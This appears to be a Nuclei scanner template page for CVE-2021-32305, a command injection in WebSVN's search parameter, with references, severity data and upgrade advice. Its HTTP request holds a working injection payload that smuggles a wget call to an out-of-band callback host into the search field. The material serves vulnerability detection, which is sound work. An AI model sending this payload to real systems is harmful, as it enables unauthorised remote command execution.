Websvn <2.6.1 - Remote Code Execution

ID: CVE-2021-32305

Severity: critical

Author: gy741

Tags: cve,cve2021,websvn,rce,oast,packetstorm

Description

WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.

YAML Source

id: CVE-2021-32305

info:
  name: Websvn <2.6.1 - Remote Code Execution
  author: gy741
  severity: critical
  description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://github.com/websvnphp/websvn/pull/142
    - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32305
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32305
    cwe-id: CWE-78
    epss-score: 0.96624
    epss-percentile: 0.99551
    cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: websvn
    product: websvn
  tags: cve,cve2021,websvn,rce,oast,packetstorm

http:
  - raw:
      - |
        GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100ec5dcb7652652883597e997923fecc1a0696734d5d7135048a0e3ca8e148d4e6022100c09446dde65305a8935afaf21023a9317fdd0516dad4e131033ca9e9964f800a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-32305.yaml"

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